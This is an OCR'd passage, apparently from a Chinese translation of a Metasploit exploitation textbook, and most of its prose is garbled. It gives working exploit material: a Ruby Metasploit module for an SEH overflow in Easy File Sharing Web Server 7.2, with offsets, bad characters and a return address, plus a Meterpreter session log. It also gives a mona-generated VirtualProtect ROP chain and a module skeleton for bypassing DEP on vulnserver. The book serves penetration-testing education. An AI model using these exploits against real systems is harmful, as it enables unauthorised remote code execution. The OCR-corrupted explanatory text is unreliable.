(2) i FH—4%pop/POP/RETNFE A M HBIE R RS S 4 A FRAR P (R bdik, R BRA TR 2ol T
Pl 8 F — £ SEHIC 5% A9 ML hik ( catch S5 & 40 BERE 7P M 4k A 11 B9 407715 Do Z BT LA
POP/POP/RET, J2&[H >k i FH catch B () PN A7t ik AR AFAERR L $8 10 F — S Ab BRAR P 8 41
FHhE R ESP+8 ( ESPIEARTRAEEN ). L, PINPOPHERAERE AT LUK A TH %2 M) 31 F —Z&SEHIC
SRR

(3) T — P AR R, AT 1E 2K T — 28 SEHIC A M 1 B 1) o ol ey
FITMPHE R . P, Y55 — A PERES ST, Rt e Bbid 15 KR 19519 47 ShellCode .

(4) Bk FIShellCodeZ i, WUl Mo thdT, AT T HAR RS A BIALER o
TR LA B A T i 1R A R

4. T —BESEHIE R Hht A
& TR B EATHY

L R SRk S
VA flcatchsk T—4SEHIERA AL ShellCode
handlerfy b
2. handlerfJHb il 9% 0k 5 4 3.POP/POP/RETHIHEE
POP/POP/RETHIHbALE ATLLR AT E [ F]

F—BESEHIC A HbHE

POP/POP/RET -

W EERATR, YN AR, SR AR A (B &diHpor/pop/RETTE A D
WSl ) SR . X2 F38por/ pop/RETHIINAT , JRHHIAT IO RE B8 2 M 31 N —4SEH
TE SR AR B2l F— AN E B HE A 2CE 1 ). PRI 24 IMPHE A A T IS5 , ‘B 2348 7] ShellCode ;
MTER HFEFEH, X1 ShellCode H & 73— 4<SEHIC % .

3.3.1 MESERRAEM
BUAEH 1O 30E T AR, B FORBE AL — ML T SEHM B B B
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VR B’
offiet TEix AMEE T, offsetf R K B S catchb b % A =5 FF AR B8 e
POP/POP/RETHBAE  h T AT E S MBIk ELAE 4, F5F—A PR/ POP/RETH A AR HbAE . ANt BUTE e SEHERY
HRIEZRGEHE T T SafeSEHHLAIRHEATDLLARF, X 44 418 I TAL B A SafeSEH{R #1HIDLL
TPk 4 T HEBkELIShellCode T AARL . TETBbIt 48 BB 77, TRk B — ARk e 4

BAVIAETT BE—NIGERANT, P THEBRIR AT . 0 2 ] PR SR
332 HEREB=E

FATT AL B A I ) 3K D) 1) 1oy PR 2 1 B S5 "= Web il 95 #5372 ( Easy File Sharing
Web Server 7.2 ), X4~Webhi TR 7EALBIIE K I A AE IR — AT AR SR AT LIS | i
ZEap X, TS SEHEE A9 Hbhk

1. {¥Fpattern create B

AT LG 2 B — R X A A T T R e M P8 88 L, SRIE i fpattern_createfll
pattern_offset XN T EH I A MB R, Frgh T BEAELR,

root@predator:/usr/share/metasploit-framework/tools/exploit# ./pattern create.rb
10000 > easy file

B ERIEE—110 000 AP B , SR JFREX A 81 A 3% 3] H AR AR P A 803 11, I 7Eimmunity
PRSP TR TN . RIS SERIXMERFEILT . AR5 A LSERR FAYView eI,
TEH ) R hise Bh % FP SEH chainf 25 A& SEHSE

Q Immunity Debugger - fsws.exe - [SEH chain of thread
B File Debug Plugins ImmlLib  Optior|

% Log AltsL
Addres Executable modules Alt+E
82226F
346646 Memory Alt+M

Heap

Threads

Windows

Handles

CPU Alt+C
SEH chain Alt+S
Patches Ctrl+P
Call stack Alt+K
Breakpoints Alt+B

Hardware Breakpoints
Watches

References

Run trace

Source

Source files

File
Text file




110 % 3% BEAFEERN TR

M SEH chaini® Wi gk 0] LLE 9% 3 AT THE AL 7 B8 B8 2 iY catch B fil N — 25 SEHIE s# Y
Hihk

Address | SE handler

A2226FAC 46356646
34664633 »»x CORRUPT ENTRY

2. {fFpattern offset TH

AR BT — 45 SEHIC bk A (i % 5 L) K B catch e ik 0B ik, S AR AN T IR

rootlpredator:/usr/share/metasploit-framework/tools/exploit# ./pattern offset.rb
46356646 10000

[*] Exact match at offset 4065

rootlpredator:/usr/share/metasploit-framework/tools/exploit# ./pattern offset.rb
34664633 10000

[*] Exact match at offset 4061

LSBT, T —25SEHIC I Mtk 7E406 1754, TiicatchB B R FL B 16T 5 T 4
AT, Wt E4065F 154k,

3.3.3 ##k poP/POP/RET it

EZ et ), Bl 12 rop/ pop/RETHE A R HIHE SR A K — 45 SEHIC 1kl , Jf:
B BB o XTSI DLLSC A — N ikl , ANt IR R 28 e i # A E &R
SR8 FH SafeSEHAR PP ML K 4 DLL, P I FRAT 175 22— -1 A B SafeSEH R 4 (1) DLLABE R /1Y
POP/POP/RETTEA #iidik .

8 T 4 B AL A 2K B T @ B HEADIE KB A A %, HEADS @24k A
pattern_create LRG| LA 43E, RS AUTTP/1.0\r\n\r\n,

1. MonaBi A&

Monaffi 4% & —> f1 PythonZi 5 19 A T immunity AR 046 1, B4 T KEMATBEND)
ik XAMEIATT L M https://github.com/corelan/mona/blob/master/mona.py %%, 4404 2c 25 AR

PR R AN B 7E \Program Files\Immunity Inc\Immunity Debugger\PyCommands H 53¢ #1
RpwT

MAEIZST 1 mona modulesfiy? /83 Mona, i fiMona/#rDLLCA:, W FETR.
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Base T Top T size T Rebase | SafeSEH | ASLR | NXCo T 0S D11 | Version, Modulename & Path
0x10000000 | 0x10050000 | 0x00050000 | False | False | False | False | False | -1.0- [ImageLoad.dll] (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)
0BADFOOD ~ 0x75320000 | 0x75455000 | 0x00135000 | True | True | True | True | True | 8.00.7600.16385 [urlmon.dll] (C:\Windows\system32\urlmon.dll)
0BADFOOD ~ 0x73520000 | 0x73530000 | 0x00010000 | True | True | True | True | True | 6.1.7600.16385 [NLAapi.dll] (C:\Windows\system32\NLAapi.dll)
0BADFOOD ~ 0x750c0000 | 0x751dc000 | 0x0011c000 | True | True | True | True | True | 6.1.7600.16385 [CRYPT32.dll] (C:\Windows\system32\CRYPT32.d11)
0BADFOOD ~ 0x74920000 | 0x74964000 | 0x00044000 | True | True | True | True | True | 6.1.7600.16385 [DNSAPI.d1l] (C:\Windows\system32\DNSAPI.d1l)
1 1 | True | True | False | False | False | 0.9.8k [SSLEAY32.d1l] (C:\EFS Software\Easy File Sharing Web Server\SSLEAY32.dll)
0BADFOOD ~ 0x75700000 | 0x757d4000 | 0x000d4000 | True | True | True | True | True | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll)
0BADFOOD ~ 0x75570000 | 0x7561c000 | 0x000ac000 | True | True | True | True | True | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll)
0BADFOOD ~ 0x74£70000 | 0x74£7c000 | 0x0000c000 | True | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.d1l] (C:\Windows\system32\CRYPTBASE.d1l)
0BADFOOD ~ 0x705b0000 | 0x705cc000 | 0x0001c000 | True | True | True | True | True | 6.1.7600.16385 [oledlg.dll] (C:\Windows\system32\oledlg.dll)
OBADFOOD ~ 0x61c00000 | 0x61c99000 | 0x00099000 | False | False | False | False | False | 3.8.8.3 [sqlite3.dll] (C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll)
0BADFOOD ~ 0x739b0000 | 0x739c3000 | 0x00013000 | True | True | True | True | True | 6.1.7600.16385 [dwmapi.dll] (C:\Windows\system32\dwmapi.dll)
0BADFOOD ~ 0x76ed0000 | 0x7700c000 | 0x0013c000 | True | True | True | True | True | 6.1.7600.16385 [ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
0BADFOOD ~ 0x6db70000 | 0x6db82000 | 0x00012000 | True | True | True | True | True | 6.1.7600.16385 [pnrpnsp.dll] (C:\Windows\system32\pnrpnsp.dll)
1 1 | True | True | True | True | True | 6.1.7600.16385 [wshbth.dll] (C:\Windows\system32\wshbth.d1l)
0BADFOOD ~ 0x74460000 | 0x74465000 | 0x00005000 | True | True | True | True | True | 6.1.7600.16385 [ ip.dll] (C:\Wi ip.dll)
0BADFOOD ~ 0x005d0000 | 0x006e7000 | 0x00117000 | True | False | False | False | False | 0.9.8k [LIBEAY32.dll] (C:\EFS Software\Easy File Sharing Web Server\LIBEAY32.dll)
0BADFOOD ~ 0x77020000 | 0x7702a000 | 0x0000a000 | True | True | True | True | True | 6.1.7600.16385 [LPK.dll] (C:\Windows\system32\LPK.d11l)
0BADFOOD ~ 0x757€0000 | 0x757£9000 | 0x00019000 | True | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SYSTEM32\sechost.dll)
0BADFOOD ~ 0x75b30000 | 0x75d29000 | 0xO01£9000 | True | True | True | True | True | 8.00.7600.16385 [iertutil.dll] (C:\Windows\system32\iertutil.dll)
0BADFOOD ~ 0x75e80000 | 0x75£20000 | 0x000a0000 | True | True | True | True | True | 6.1.7600.16385 [ADVAPI32.d1l] (C:\Windows\system32\ADVAPI32.d1l)
| | 0%001c2000 | False | False | False | False | False | 7.2.0.0 [fsws.exel (C:\EFS Software\Easy File Sharing Web Server\fsws.exe)

i EERAL, X B ADLLSCAARD, i AR A 32 SafeSEHMLHGI AR X0, 5l
A LI PoP/ POP/RETHE A B AH M HE

4o R A8 KB E T Monalr K 69 £ % 13 8., 7 15 Pl https://www.corelan.be/index.
php/211/7/14/mona-py-the-manual/,
2. msfbinscanf{EMH

a] PUf# F msfbinscan [ -p 2 U A8 L % 8 pop/POP/RETHE S FF) . THIZGHE T 1F
ImageLoad.dlSC AR W XA I i i 4 2R .

root@kali:~# msfbinscan -p /ImageLoad.dll
[/ImageLoad.dll]

0x1000108b pop ebp; pop ebx; ret
0x10001274 pop ebp; pop ebx; ret
0x10001877 pop esi; pop ebx; ret
0x100018e0 pop esi; pop ebx; ret
0x10001d9f pop ebp; pop ebx; ret
0x100026el pop edi; pop ebx; ret
0x1000283e pop edi; pop esi; ret
0x100028ab pop edi; pop esi; ret
0x10002%b5 pop esi; pop ebx; ret
0x10002bSb pop ebp; pop ebx; ret
0x10002bc9 pop ebp; pop ebx; ret
0x10002c0e pop edi; pop esi; ret
0x10002c30 pop edi; pop esi; ret
0x10002c52 pop edi; pop esi; ret
0x10002c74 pop edi; pop esi; ret
0x1000343c pop esi; pop ebx; ret
0x10003452 pop esi; pop ebx; ret
0x10003466 pop esi; pop ebx; ret
0x1000349c pop esi; pop ebx; ret
0x100034cc pop esi; pop ebx; ret
0x100034ea pop esi; pop ebx; ret
0x1000351a pop esi; pop ebx; ret
0x10003548 pop esi; pop ebx; ret
0x10003562 pop esi; pop ebx; ret
0x1000358d pop esi; pop ebx; ret
0x1000387b pop esi; pop ecx; ret

TEFRA M —A e Ak, HEBRLRTA vl fe 25 EHTTPEM MR Akl ( lanisEse s
W0 )o
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0x10019798 pop esi; pop ecx; ret
0x100197b5 pop esi; pop ecx; ret
0x10019821 pop edi; pop esi; ret
0x1001986f pop edi; pop esi; ret
0x10019882 pop edi; pop esi; ret
0x10019964 pop edi; pop esi; ret
0x10019993 pop ebx; pop ecx; ret
0x10019a86 pop ebx; pop ecx; ret
0x10019aal pop ebx; pop ecx; ret

A T2 dH0x100197981E R Pop/ POP/RETINHIHL . BITEC 4 T Wik 5 B im 1 He
REBAM, — N EmEE, B— MR A catchH (bl , Wik Erop/pop/RETFEA Mt
AL 25— A0 BRI 48 2 T — PRI T — 2R SEHIC sk Atttk , -9 Bh A2 7 k%% 3| ShellCode o
Metasploit/# U144 P DI REAE AT ASR LA Bk 48 4.

3.3.4 “RE Metasploit B SEH B 1Rk

WAERME LA 7T B3 H AR R B i i 28U, 3636 6 Metasploit 1975 1%
e, SRR

require 'msf/core’
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super (update_info (info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %g{
This module demonstrate SEH based overflow example

T,

'Author’ => 'Nipun',
'License’ => MSF_LICENSE,
'Privileged’ => true,

'DefaultOptions' =>
{

'EXITFUNC' => 'thread',
1,
'Payload’ =>
{
'Space'’ => 390,
'BadChars' =>

"\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
I
'Platform' => 'win',
'Targets' =>
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[
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798, 'Offset’
=> 4061 } 1,
1,
'DefaultOptions' => {
'RPORT' => 80
}
'DisclosureDate' => 'Dec 2 2015°',
'DefaultTarget' => 0))
end

BATZ AT E L5 1 45 P ) S T —— 8 e g | AT SO, 436 8 ISR He ks
Rl——X R i 58 R EOR — R . FRATERIR LTS e LT 247 . fiik . 1EE R 0T
a8 . Bl e, Jwil it Eg H RN BAn . e A8 T — bbb A — M. Mk
POP/POP/RETHE A AL 0x1 0019798, fRIFAEASfRet (return address ) H; WFE 406 LIFFE
e ot fset o XN ERAIRFTETarget FBIH . HATZPTLMII 206 1k 4065, &
[Al A Metasploit2s H a4 ili— 1~ ShellCode Y G Bk 4 454 . L, k406577 HMhl M RS 4
AT, R PT LA KL 48 A2 BB AR F SR AP N — 45 SEHIC S HUhE 40

FEATHER AR S ZHT, Sk BB XS rp B EZ R, RATZMESF/ L T
make_nops. connect . disconnectﬂ:ﬂhandlerlﬂlfl%lﬁﬂ‘]ﬁﬁ?f, Tﬁéﬁﬁ Tgenerate_seh_
record () RGNS B o

I E X # A &
generate_seh_record() /1lib/msf/core/exploit/seh.rb XA B AL T A SEHIE Y O

[]§U¢%ﬁ%:

def exploit
connect
weapon = "HEAD "
weapon << make_nops (target['Offset'])
weapon << generate_seh_record(target.ret)
weapon << make_nops (19)
weapon << payload.encoded
weapon << " HTTP/1.0\r\n\r\n"
sock.put (weapon)
handler
disconnect
end
end

XABERECE e Bhr, SRR A— D EEEEADIER (Gl MIHEADIER TR N40611
NOPS:HL ), #:% , fii/flgenerate_seh_record () BREAE M —2%8F 15 HUSEHIC %, HH T4
A AR A B B P s b R XA TS BN \xeb\x0A\x90\x9 0 "X FEATFE
%, Hr\xeb KRG MBS, \x0aFREBT 125777, \x90\x90 NOPFELMIWENIEF,
PRUER BE 45 .
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£ FANASM shel R 5L HiE<

8 FINASM shell 4w 5 %5 31 4 A RS AH XY 7 fi . FRATTAE B — 5 b fif bR 3 generate_
seh_record () AshAIE T SEHIC®, JH R T #4845 ——\xeb\x0aFnm Bkid 12
AN R BT A . A YT TE T84 SEHIC RN, NSEARTE R LA R ipfEm, H
T FINASM shellgh iJ LAFEAA 4 5 HT 4 0RS

1 L=, FAIE2A T — AR gIAN, wiitomp sHorT 12, AETIEA
I A2 BIEAERS , LA HINASM shellof £ Hiix AR

root@mm: /usr/share/metasploit-framework/tools/exploit# ./nasm shel
1l.rb

nasm > jmp short 12

00000000 EBOA jmp short 0xc

nasm >

i EEA] N, 7 H 5% /usr/share/Metasploit-framework/tools/exploit 13z 1 7nasm_shell.rbfiil AN 2
J , AT LA ik A7 S A A A A RS N AR R T X — AR B AR RS P Z T e i —AE
FEEROA, I, FEZJE A 7RG EREH S HINASM shell, 33X 1] U548 K& A ] FIDRS 5 o

PUAE P13 /8 oKk . Metasploit R iFFRAT 1l generate_sen_record () rREBkT $E LBk
T84 R RATC B fr 1) 8 . B2 1Ok, FRATEAE T 2R AT i 7e— Se 8, ORI BR S i T
HEATBFTIARIRZ, FHMA Tt /1. 0\ \n\ v\ MR KA EE R e, BHRIFAE
e frweapon P AR &% F Bk b, 85 Hhandler )7 e R 25 iZ 2218 2 5 M) . A,
AR BATHE ] B AR AIAR o

FHRIEA TR, X T AT

msf > use exploit/windows/masteringmetasploit/example80-3

msf exploit(example88-3) > set RHOST 192.168.10.104

RHOST => 192.168.10.104

msf exploit(exampleB8-3) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf exploit(exampleBB-3) > show options

Module options (exploit/windows/masteringmetasploit/example80-3):
Mame Current Setting Required Description

RHOST 192.168.10.104 yes The target address
RPORT 80 yes The target port

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port

RHOST 192.168.10, 104 no The target address

Exploit target:

0 Easy File Sharing 7.2 HTTP

msf exploit(example8s-3) > exploitl]
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EREHAREINZE, RIS RZRERITBENREST . THREERA
exploitié&Z kM4,

lmsf exploit(example88-3) > exploit

[*] Started bind handler

[*] Sending stage (957487 bytes) to 192.168,10.104

[*] Meterpreter session 5 opened (192.168.10,118:41242
-> 192.168.10,104:4444) at 2016-04-14 23:41:01 -0400

meterpreter > sys_mfo

Computer WIN-40JUB043FH2

0S : Windows 7 (Build 7600).
Architecture i x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 4

Meterpreter 1 x86/win32

meterpreter > i

TATR I B E T 2175 Windows 70 HbR R S8, BUAERFIIE 7E MetasploitHH 4] #—1~SEH
B2 AR R TR T, RATSHRA L, P55 DEPZ Y44
B

8 3 E % % F SEH mixin 49 3 49 1% & , % i 1 https:/github.com/rapid7/

metasploit-framework/wiki/How-to-use-the-Seh-mixin-to-exploit-an-exception-handler .

3.4 7f Metasploit #&E3Rh %53 DEP

HIEHITIRIP ( Data Execution Prevention, DEP ) J&—Fuii4EE NAFE X IR 1C A $UATHY
PREPHLE, AL 2 S BERNTE R &S B 0T TShellCode . AL, RIMEFRATAT LIS EIP
AT N 259 L K ESPAE [ T ShellCode AR i ikl , ek AT HGE 2. XK A
DEPHIFFAERHLLE T NAF AT S X (Il ankfndE ) HEdE st T, 7EXFMENL T, FRATLA ]
AIPAT DI P () B 2 S B U Y D e —— T LI bR e i nT AT 46 2 i l— > T LALE
Bk Bk 51 ShellCode T R LB IX — H Y

2 DEPRYFE AR WEFR AR 015 1) 4 A2 ( Return Oriented Programming, ROP) #iAR, EA[EF
S S EIPNE, JFBkE B ShellCodetk i Hh HY Ll J7 %5 . MDEPJIHZG, FRATHICIE(E
AR, BRI B A BEATAY . I FRATA P8k 4% B ShellCode, 1172 8 25—~
ROPHE4 Fr Bt ( gadget ). iXEE454 Fr B s L [Alb4 sl — MR85 4, — N84 BrasiR MR —AM 48
AR B, AT BT AS

A TRAE N — 7B B AN & FRROPHE & L. "Bl T A7 A% 78 A PR E T8 4, 5 AR LA

—Zkreturn (RET ) 52458 . MEHRFIROPIE S B, SUrfJT A URIEBRARIEL (DLL )
AR IXEAR S R BURUMR AT, JFR B — D hk, X RS T RO ROPEE o
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HMBAEC A T — A I 0SB IR . A EIPRAL HkS 82006, N i%
H T HIMetasploit iU X MR IF Z J5 Y R .

msf exploit(example9999-1) > exploit

[*] Started bind handler
[*] Sending stage (957487 bytes) to 192.168.10.107

[*] Meterpreter session 1 opened (192.168.10.118:46127 -> 192.168.10.107:4444) a
t 2016-04-15 01:21:27 -0400

AT 2R T HrrMeterpreterfE hil AR . #2 T K7E HFR Y Windows A E R GE 4T
JFDEP{R, KA T LAERGERAE (system property ) MRS RLIAHE (advanced system
property ) FIIF, WIFEFR.

@Ov\h » Control Panel » All Control Panel Irems ¥ System

~[4][]
Performance Options @

Visual Effects | Advanced | Data Exection Prevention

Control Panel Home: s s =]

1 Computer Name | Hardware | Advanced | System Protection | Remote
% Device Manager

& Remote setings You must be logged on as an Administrator to make most of these changes
= Data Execution Prevention (DEP) helps protect
BET: - protection Performance 3 é against damage from viruses and other security
N Visual effects. processor scheduling. memory usage. and virtual memory threats. How does it work?
¥y Advanced system settings

(©) Turn on DEP for essential Windows programs and services

Lsmae | w

(@) Turn on DEP for all programs and services except those T

select:
System Properties

‘G The changes you have made require you to restart your
A computer before they can take effect.

=

Environment Variables.

Add... Remove

Your computer's processer supports hardware-based DEP.
o] Comn ][ o

Computer description:
See also

Workgroup: WORKGROUP [
Action Center

ok | [ cone |[ appy |

e T ok S BRBE I LA M BT R R 5 FT IS DEPLRY” ( Turn on DEP for all programs

and services except those I select ) >KJHZIDEP, SRJ5EHAshIRNT RS, 2208 E F— 1w,
IR EIPIR,

msf exploit(example9999-1) > exploit

[*] Started bind handler
[*] Exploit completed, but no session was created.

XIRBERM T, HKShellCodeI T BH P47,
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TTVAMA T it F 3~ #I42 5 http://www.thegreycorner.com/21/12/introducing-
vulnserver.html

FAHEAE T — 19 F Bl anfal i i MetasploitZe it DEPHIBR I , FARFF BRI R G AT AR . {2
FDEPIRIFIETT, R T il B9 SLHIRR B8 o, R RIS SR AR R

Base i Top i Size i Rebase | SafeSEH § ASLR | NECompat i OS D11 ! Uersion. Modulename & Path

Bx774800008 | Bx7748a0080 | @x00002008 ! True True True True 1. 7535 16335 [LPK.d11] <C:\Windous‘systend2\LPK.d11>

@x77490008 @x77496000 | Bx00806808 ! True True True True BS [NSI.d11]1 <C:\Windowsszysten32\NEI.d11>

Bx62500000 | Bx62508008 | BxA000800 False | False False False .d111 <C:\Users:ApexsDesktop \Uulnsessfunc.dll>
Bx76470000 | Bx7653c088 | True ue True True 12 76" 16385 [MSCTF.d111 <C: \lhndow \zysten32\MSCIF. d!})
Bx75550808 | Bx7559a888 | @xA0A4a808 | True True True True 1.7688.16385 IKERNELEHSE d11] <C::\Windows\s yst:nBZ\'KEﬂIIELBRSE dl1
Bx'ﬂieaﬂm | Bx74edcBBd | Bx@003cBO8 ! True i True True True 1 7658 G]BS [nswsock.dll] <C:\Windows\systenm32\nzusock.dll
Bx774a0008 | Bx?7753d080 | BxA0A4A08 | True True True True

6385 [USP1@.d11]1 (C:\Windows\systen32\USP1@. dll)
1.7638 16385 [GD[32 d111 <C:\Windows“systen325GD132.d11>

Bx76540008 | Bx7658c080 | BxA004e808 | True i True True rue

0xB804A0A00 | BxBB407008 | BxAPAA7A0A ! False ! False False False .B- [vulnserver.exe] (C:\Users\ipex\DesktopsUulniwulnserver.exe>
Bx77090008 | Bx?7164980 | 9xAPAA4008 | True i True True Irue 1.7688. 16335 [kzl nel32.d111 (C:\Windows\systend2\kerneld2 . dll>
Bx77200008 | Bx772acBB0 | 9xA0BacBBB | True i True True i True A.7680.16385 [msvcrt.dll] (C:\Windows\systend2\nsvert.dll)
Bx76590008 | Bx76659000 ! BxA00c3008 ! True True True True H 1.76808.16385 [user32.d111 (C:\Windows\system32\user32.d11>
Bx77310888 | Bx7744cB88 | 8x8013c808 | True i True | True i True 1 6.1.7688.16385 [ntdll.d11] <C:“\Windows\SYSTEM32\ntdll.dl1l>

FZHT—FE, ¥ Af2 imona modules)i FMonalfiAS, winl IAREIra A5 B . Aid
AT HHROPEE, 75 BEAE X BEDLLSCA HR R 3 A nT A TROPHIFE 2 B .

3.41 {FFH msfrop &k ROP S HEL

Metasploithtfit T — T IAFEROPFE 4 F BOME R T HE . msfrop, X TEALAT LIS H
JIHROPHE A By, 81T DAITEXSE48 4 b Berh 3R BIAF G FRATT KA. T I Hms fropAr 4k
— AT L CIECX A A e thARERAE 1948 2 B, i B AR EIFR .

|root@kali:~# msfrop -v -s "pop ecx" msvert.dll ﬂ

- sSHu TR, -V Egm 2 J5, FeATT e Jefs 8] T Fra [ HHPOP ECX#4E
MFE4 R B, TRy ERELS R

[*] gadget with address: 0x6ffdbld5 matched
0x6ffdbld5: pop ecx
Ox6ffdbldé6: ret

[*] gadget with address: 0x6ffdf68f matched
O0x6ffdf68f: pop ecx
0x6f£df690: ret

[*] gadget with address: 0x6ffdfc9d matched
Ox6ffdfecod: pop ecx
0x6ffdfc9e: ret

FATTBAE O A3 T K m] LR 8 BPOP ECXHRAE T8 4 Bt o A3 T AG EE— A~ AT LAY
5 DEPRAF LTI i MetasploitiZ iR, T T ZAER S — DA PATAE AT S PRt A Y
ROPHE& A Bk, T EIZ5 T (i FIROPSES DEPIR I Y S
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0x000000 0x000000 0x000000

eSS
Jt i ) 25 ]

POP ECX

{RTHIEBP RET

RET

— ROP#54 F Bt 1
ROP*E‘% Fl' &2 ADD ECX,80
ROP#54 i E3
L]

POP EBX
SHELLCODE RET

OXFFFFFFFF OXFFFFFFFF OXFFFFFFFF

ZEME—NIEH R AR 5 ] — 8 o X 3 IR e i R R oA 1, Ho iy
EIPZF 1740 O 2 W 565 TS 5 A7 e — A Ik 233 DEPAIL I 1) 2347 P ——xX B )75 {di 1 IMP ESP
ByHBHE, A HROPHE A A Be Al s T EIPHF YN ZS, Jo i B35 5 — PROPIE S H B,
B F|ShellCode AT .

AR 2 fer A BESES B F IR FH A DEPLR-A7 W 2

SR GARTAT B, B IR X BEROPFE & F BOE L — A% , MBI VirtualProtect () PREL,
TR AWTEARP BRI, TR R AT EShellCode T, T KA — F WTAES
DEPIRIIENL F 185 .

(1) HERIEIPH e 1w AL &
(2) S —1ROPHES F B 35 S A A48 o
(3) A8 4 B8 B F 74y, E.2ShellCode ] #1447

(4) Pf7ShellCode.

3.4.2 {£H Mona fl]3& ROP &

38 3l FH immunity P 7 H ) Monafi A, ASMUAT IR FIROPTSE 4 A B, i 1] LA 4E1ROP
B, WFEFIR,
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@BADFAAD
@BADFAAD
@BADFAABD [+1]
@BADFAAD
@BADFAABD [+1]
@BADFAAD
@BADFABD [+1
@BADFAAD
@BADFABD [+1
@BADFAAD
@BADFAABD [+1]
@BADFAAD
@BADFAABD [+1]
@BADFAAD
@BADFAABD [+1
@BADFAAD

@BADFAAD
BBADFAAD [+1]

BBADFABD Done

ROP generator finished

Preparing output file ’stackpivot.txt’

— (Re)setting logfile stackpivot.txt

Writing stackpivots to file stackpivot.txt

Wrote 16216 pivots to file

Preparing output file ’rop_suggestions.txt’

— (Re)setting logfile rop_suggestions.txt

Writing suggestions to file rop_suggestions.txt

Wrote 6579 suggestions to file

Preparing output file ’rop.txt’

— (Redsetting logfile wrop.txt

Writing results to file rop.txt (48599 interesting gadgets)
Wrote 48599 interesting gadgets to file

Writing other gadgets to file rop.txt (55186 gadgets)
Wrote 55186 other gadgets to file

This mona.py action took B:83:43.97238808

|!mnna rop -m *.dll -cp nonull

TEimmunity P8 78 4 7 21

AR TROPIUE  BEHIfE B RIS T HIMonallfiAS ™ AL Y ST

qjﬁﬁiﬂ?up? !mona rop -m *.dll -cp nonull?‘f’jﬁﬂl«‘j?ﬁ?ﬂ@]"

Name Date modified Type Size
). Libs 4/26/2016 10:18 PM  File folder
| PyCommands 4/26/2016 10:18 PM  File folder
_rop_progress_vulnserver.exe_4052 4/26/2016 10:21 PM  Text Document 8 KB
@) ImmunityDebugger 4/26/2016 10:33 PM  Configuration setti... 9KB
rop 4/26/2016 10:21 PM  Text Document 12,624 KB
| rop_chains 4/26/2016 10:21 PM  Text Document 19KB
rop_suggestions 4/26/2016 10:21 PM  Text Document 747 KB
stackpivot 4/26/2016 10:21 PM  Text Document 2,033 KB
vulnserverudd 4/26/2016 10:33 PM  UDD File 36 KB

FATHAF T — % Arop_chains. txtB ST, XSRS TR LT TR B 5%

ROP#E . X YEROPHEfH FH{Python, CHIRubyif &

XASROPEE S il BN FA TR B S rp R AT
TR —A A A& virtual Protect () BRELAIROPEE, T5 BXT A AF4n AT UN R i & .

Register setup for virtualProtect() :
EAX = NOP (0x90909090)

ECX = lIpoldProtect (ptr to W address)
EDX = NewProtect (0x40)

EBX = dwSize

ESP = IPAddress (automatic)

EBP = ReturnTo (ptr to jmp esp)

ESI = ptr to VirtualProtect()

EDI = ROP NOP (RETN)

TR W T 18 FiMona I A G128 (U ROPEE .

i miaL, 1T LAFEMetasploit i . F&ATH T
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def create_rop_chain()

# rop chain generated with mona. py - www.corelan.be

Eup_gadgets =
0x76db6cd8, # POP ECX # RETN [RPCRT4.d11]
0x6250609c, # ptr to &virtualProtect() [IAT essfunc.dl1]
0x7648fd52, # MOV ESI,DWORD PTR DS:[ECX] # ADD DH,DH # RETN [MsCTF.d11]
0x7721d5ef, # POP EBP # RETN [msvcrt.dll]
0x625011bb, # & jmp esp [essfunc.dl11]
0x76db6d7f, # POP EAX # RETN [RPCRT4.d11
oxfffffdff, # value to negate, will become 0x00000201
0x76ddd3c9, # NEG EAX # RETN [RPCRT4.d11]
0x7648Ff9f1, # XCHG EAX,EBX # RETN [MSCTF.d11]
Ox76db6d7f, # POP EAX # RETN [RPCRT4.d11]
oxffffffc0, # value to negate, will become 0x00000040
0x76472Ffd0, # NEG EAX # RETN [MSCTF.d11]
0x770cbd3a, # XCHG EAX,EDX # RETN [kernel32.d11]
0x77268a7e, # POP ECX # RETN [msvcrt.dll]
Ox74ed7f21, # &writable Tocation [mswsock.dl11]
0x76dddcbe, # POP EDI # RETN [RPCRT4.d11]
0x765c4804, # RETN (ROP NOP) [user32.dl11]
0x76db6d7f, # POP EAX # RETN [RPCRT4.d11]
0x90909090, # nop
0x77265cf4, # PUSHAD # RETN [msvcrt.dll1]

J-flatten. pack("v*")

return rop_gadgets

end

KA LT T create_rop_chaintREM4SE , IFKHAFS T rop_chains.txtSCfFH .
P2 TR R B i 208 B R BT

3.4.3 #RE%id DEP B Metasploit i2iE Rk

AT A bRid e Z BB RIT IS T DEPORIF I 2B B WA MR . X M1 T7E
99993 H , I HAFAE— PR il o T PR gl — e, RS IX AN IT S T DEPER-A
IR P TBIE -

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote: :Tcp

def initialize(info = {})
super (update_info (info,
'Name' => 'DEP Bypass Exploit',
'Description' => %q{
DEP Bypass Using ROP Chains Example Module
1,
'Platform’ => 'win"',
'Author’ =>
[
'Nipun Jaswal'
1,
'Payload' =>
{

'space' => 312,
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'BadChars' => "\x00",
}
'Targets' =>
[
['Windows 7 Home Basic',{ 'Offset' => 2006}]
1,
'DisclosureDate' => 'Apr 29 2016
))
register_options(
[
Opt: :RPORT(9999)
]1,self.class)
end

BATE LT AR A, i H XTI L5 43 F T s B PE SCUFANFERA AR T o tesh, 3841
WAFTTZR A bk, FAROPEE ] L H shil dt— 1~ BkF% 2| ShellCode fUMLI . T HiR A F LB
BRI

def create_rop_chain()

# rop chain generated with mona.py - www.corelan.be
rop_gadgets =

[
0x7722d479, # POP ECX # RETN [msvcrt.dll]

